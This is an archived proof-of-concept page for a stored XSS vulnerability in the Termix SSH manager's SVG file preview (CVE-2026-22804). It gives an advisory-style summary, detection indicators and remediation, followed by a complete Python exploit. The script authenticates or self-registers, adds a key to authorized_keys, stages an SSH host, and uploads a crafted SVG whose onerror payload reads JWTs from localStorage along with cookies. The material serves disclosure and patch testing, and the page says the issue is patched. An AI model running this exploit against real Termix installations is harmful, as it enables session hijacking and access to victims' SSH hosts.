PoC Archive PoC Archive
High CVE-2026-22804 (GHSA-m3cv-5hgp-hv35) patched

Termix Stored XSS via Malicious SVG Upload -> LFI / Session Hijack (CVE-2026-22804 / GHSA-m3cv-5hgp-hv35)

by ThemeHackers · 2026-07-05

Severity
High
CVE
CVE-2026-22804 (GHSA-m3cv-5hgp-hv35)
Category
web
Affected product
Termix (Electron-based SSH/terminal manager), File Manager component (FileViewer.tsx)
Affected versions
Release 1.7.0 - 1.9.0
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-01
Author / ResearcherThemeHackers
CVE / AdvisoryCVE-2026-22804 (GHSA-m3cv-5hgp-hv35)
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagstermix, electron, stored-xss, svg-injection, session-hijacking, lfi, file-manager, ssh
RelatedN/A

Affected Target

FieldValue
Software / SystemTermix (Electron-based SSH/terminal manager), File Manager component (FileViewer.tsx)
Versions AffectedRelease 1.7.0 - 1.9.0
Language / PlatformNode.js/Electron target; Python 3 exploit client
Authentication RequiredYes (attacker needs a Termix account and an SSH-reachable host to stage the file)
Network Access RequiredYes

Summary

Termix’s built-in File Manager renders SVG files opened from a connected host using dangerouslySetInnerHTML, without stripping active content such as <foreignObject>/<img onerror=...>. An attacker who can place a crafted SVG on a filesystem reachable via Termix’s SSH file manager (e.g. a shared or attacker-controlled SSH host) can get arbitrary JavaScript executed in the Termix Electron renderer the moment a victim opens the file. Because Termix runs as an Electron desktop app, this stored XSS can be leveraged to read local files (bypassing normal browser same-origin restrictions) and to steal the victim’s session data (JWT in localStorage and cookies). The included Python script automates login/registration against the Termix backend, provisions an SSH host entry pointing at localhost, connects over SSH via Termix’s internal API, and uploads a malicious cookie_stealer.svg into the target directory.


Vulnerability Details

Root Cause

FileViewer.tsx renders attacker-controlled SVG file contents via dangerouslySetInnerHTML with no sanitization, allowing an embedded <foreignObject> block containing arbitrary HTML/JS (triggered via an <img src="x" onerror="..."> vector) to execute in the app’s rendering context.

Attack Vector

  1. Attacker authenticates to the victim’s Termix backend (or registers an account) and adds an SSH host entry (e.g. pointing at a host they control or localhost).
  2. Attacker connects to that SSH host through Termix’s file-manager SSH API.
  3. Attacker uploads cookie_stealer.svg — an SVG containing a <foreignObject>/<img onerror> payload that reads localStorage and document.cookie — into a directory visible to the victim (e.g. /home/kali).
  4. Victim opens the File Manager in the Termix app and clicks the SVG file to preview it.
  5. The payload executes in the Electron renderer, displaying the stolen JWT/cookies in an on-screen overlay (and, in the Electron context, opening the door to further local file reads).

Impact

Execution of arbitrary JavaScript inside a victim’s Termix desktop session, leading to theft of authentication tokens/cookies and, given Electron’s relaxed sandboxing versus a browser, potential local file disclosure.


Environment / Lab Setup

Target:   Termix release 1.7.0-1.9.0 (backend on :30001, file-manager API on :30004, Electron frontend)
Attacker: Python 3, requests (pip install requests), local SSH server for staging the payload

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
python3 -m venv .venv && source .venv/bin/activate
pip3 install requests
python3 exploit.py --user 'USERNAME' --pass 'PASSWORD'

The script logs in (or self-registers), creates/reuses an SSH host entry pointing at localhost with a generated key pair, opens an SSH session through Termix’s file-manager API, and uploads cookie_stealer.svg to /home/kali. Opening that file in the Termix File Manager triggers the embedded payload, which exfiltrates localStorage (JWT) and cookies into an on-screen “SESSION HIJACKED!” overlay.


Detection & Indicators of Compromise

Signs of compromise:

  • Unfamiliar SVG files (e.g. named like cookie_stealer.svg) appearing in directories browsed via Termix’s File Manager
  • Unexpected alert/overlay dialogs when previewing files in the Termix app
  • Termix session tokens or SSH host credentials observed in use from unfamiliar IPs shortly after a file was previewed

Remediation

ActionDetail
Primary fixUpgrade to a patched Termix release addressing GHSA-m3cv-5hgp-hv35 (sanitize/disable active SVG content in the File Manager preview)
Interim mitigationDisable or restrict SVG preview in the File Manager; avoid opening files from untrusted/shared SSH hosts; treat Termix’s stored JWT/cookies as sensitive and rotate after suspicious activity

References


Notes

Mirrored from https://github.com/ThemeHackers/CVE-2026-22804 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
import requests
import json
import base64
import time
import sys
import argparse
import os
import subprocess


BASE_URL_AUTH = "http://localhost:30001"
BASE_URL_FILE = "http://localhost:30004"

def parse_args():
    parser = argparse.ArgumentParser(description="Termix XSS Exploit")
    parser.add_argument("--user", default="admin", help="Username for Termix auth")
    parser.add_argument("--pass", dest="password", default="password123", help="Password for Termix auth")
    return parser.parse_args()

def login_or_register(username, password):
    session = requests.Session()
    
    
    try:
        print(f"[*] Attempting to login as {username}...")
        res = session.post(f"{BASE_URL_AUTH}/users/login", json={
            "username": username,
            "password": password
        })
        
        if res.status_code == 200:
            print("[+] Login successful")
            token = res.json().get("token")
            session.headers.update({"Authorization": f"Bearer {token}"})
            return session, res.json().get("userId")
            
        print("[-] Login failed, attempting registration...")
    except requests.exceptions.ConnectionError:
        print(f"[!] Could not connect to {BASE_URL_AUTH}. Is the backend running?")
        sys.exit(1)

    
    try:
        res = session.post(f"{BASE_URL_AUTH}/users/create", json={
            "username": username,
            "password": password
        })
        
        if res.status_code == 201 or res.status_code == 200:
            print("[+] Registration successful")
            
            res = session.post(f"{BASE_URL_AUTH}/users/login", json={
                "username": username,
                "password": password
            })
            token = res.json().get("token")
            session.headers.update({"Authorization": f"Bearer {token}"})
            return session, res.json().get("userId")
        else:
            print(f"[!] Registration failed: {res.text}")
            sys.exit(1)
            
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

def get_or_create_host(session, user_id):
    print("[*] getting SSH hosts...")
    res = session.get(f"{BASE_URL_AUTH}/ssh/db/host")
    if res.status_code != 200:
        print(f"[-] Failed to get hosts. Status: {res.status_code}, Body: {res.text}")
        return None

    try:
        hosts = res.json()
    except json.JSONDecodeError:
        print(f"[-] JSON Decode Error. Body: {res.text}")
        sys.exit(1)

    target_host_name = "Localhost PoC Custom"
    
    if hosts:
        for host in hosts:
            if host['name'] == target_host_name:
                print(f"[+] Found existing custom host: {host['name']}. Deleting to ensure clean state...")
                del_res = session.delete(f"{BASE_URL_AUTH}/ssh/db/host/{host['id']}")
                if del_res.status_code != 200:
                     print(f"[-] Failed to delete host: {del_res.status_code}")
                
                break
    
    print("[*] Custom host not found. Creating it...")
    
    key_path = "/home/kali/CVE-2026-22804/poc_key"
    if not os.path.exists(key_path):
        print(f"[*] generating ssh key: {key_path}")
        subprocess.run(["ssh-keygen", "-f", key_path, "-t", "rsa", "-N", ""])


    pub_key_path = f"{key_path}.pub"
    auth_keys_path = os.path.expanduser("~/.ssh/authorized_keys")
    
    if os.path.exists(pub_key_path):
        with open(pub_key_path, "r") as f:
            pub_key = f.read().strip()
            
        os.makedirs(os.path.dirname(auth_keys_path), exist_ok=True)
        
        current_keys = ""
        if os.path.exists(auth_keys_path):
            with open(auth_keys_path, "r") as f:
                current_keys = f.read()
                
        if pub_key not in current_keys:
            print("[*] Adding generated key to authorized_keys...")
            with open(auth_keys_path, "a") as f:
                f.write(f"\n{pub_key}\n")

    host_data = {
        "userId": user_id,
        "name": target_host_name,
        "ip": "127.0.0.1",
        "port": 22,
        "username": "kali",
        "authType": "key",
        "key": open("/home/kali/CVE-2026-22804/poc_key").read(),
        "tags": ["poc"],
        "pin": 0,
        "enableTerminal": 1,
        "enableFileManager": 1,
        "enableTunnel": 0,
        "forceKeyboardInteractive": False
    }

    
    res = session.post(f"{BASE_URL_AUTH}/ssh/db/host", json=host_data)
    if res.status_code == 200 or res.status_code == 201:
        print("[+] Created localhost host.")
        return res.json()
    else:
        print(f"[!] Failed to create host: {res.status_code} {res.text}")
        sys.exit(1)

def connect_ssh(session, host):
    print(f"[*] Connecting to {host['name']} ({host['ip']})...")
    host_id = host['id']
    session_id = str(host_id)
    
    payload = {
        "sessionId": session_id,
        "hostId": host_id,
        "ip": host['ip'],
        "port": host['port'],
        "username": host['username'],
        "authType": host['authType'],
        "userId": host.get('userId')
    }
    
    
    if host.get('key'):
        payload['sshKey'] = host['key']
        
    if host.get('authType') == 'password':
        payload['password'] = host.get('password', 'kali')
        
    try:
        res = session.post(f"{BASE_URL_FILE}/ssh/file_manager/ssh/connect", json=payload)
        if res.status_code == 200 or res.status_code == 201:
             print(f"[+] SSH Connection initiated. Response: {res.text}")
             
             time.sleep(2)
             status_res = session.get(f"{BASE_URL_FILE}/ssh/file_manager/ssh/status", params={"sessionId": session_id})
             print(f"[*] Status Check: {status_res.status_code} {status_res.text}")
             
             if status_res.status_code == 200 and status_res.json().get("connected"):
                 print("[+] SSH Connected successfully!")
                 return session_id
             else:
                print("[-] SSH Connection status is false. Maybe auth failed?")
                print(f"DEBUG: Session ID used: {session_id}")
                return None
        else:
            print(f"[-] Connect failed: {res.status_code} {res.text}")
    except Exception as e:
        print(f"[!] Connection error: {e}")
        
    return session_id

def upload_poc(session, session_id, host_id, user_id):
    filename = "cookie_stealer.svg"
    
    content = """<svg width="600" height="600" xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="background-color:purple; color:white; font-size:24px; padding:20px; font-weight:bold; border: 5px solid black; font-family:monospace; overflow:hidden;">
        SESSION HIJACKED! <br/>
        <hr/>
        <div style="font-size:16px;">
            <strong>JWT (localStorage):</strong><br/>
            <textarea id="jwt_area" style="width:100%; height:100px; color:black;">Loading...</textarea>
            <br/>
            <strong>Cookies:</strong><br/>
            <textarea id="cookie_area" style="width:100%; height:50px; color:black;">Loading...</textarea>
        </div>
      </div>
      <img src="x" onerror="
        try {
             let store = '';
             for(let i=0; i<localStorage.length; i++) {
                 store += localStorage.key(i) + ': ' + localStorage.getItem(localStorage.key(i)) + '\\n';
             }
             document.getElementById('jwt_area').value = store || 'No localStorage found';
             document.getElementById('cookie_area').value = document.cookie || 'No cookies found';
             alert('Session Hijacking Successful!');
        } catch(e) { alert('Error: ' + e); }
      " style="display:none;" />
    </body>
  </foreignObject>
</svg>"""
    
    payload = {
        "sessionId": session_id,
        "path": "/home/kali",
        "fileName": filename,
        "content": content,
        "hostId": host_id,
        "userId": user_id
    }
    
    print(f"[*] Uploading {filename}...")
    res = session.post(f"{BASE_URL_FILE}/ssh/file_manager/ssh/uploadFile", json=payload)
    
    if res.status_code == 200:
        print(f"[+] File uploaded successfully!")
        print(f"[+] Check File Manager at /home/kali/{filename} to verify XSS.")
    else:
        print(f"[-] Upload failed: {res.status_code} {res.text}")

def main():
    args = parse_args()
    session, user_id = login_or_register(args.user, args.password)
    host = get_or_create_host(session, user_id)
    session_id = connect_ssh(session, host)
    
    if session_id:
        upload_poc(session, session_id, host['id'], user_id)

if __name__ == "__main__":
    main()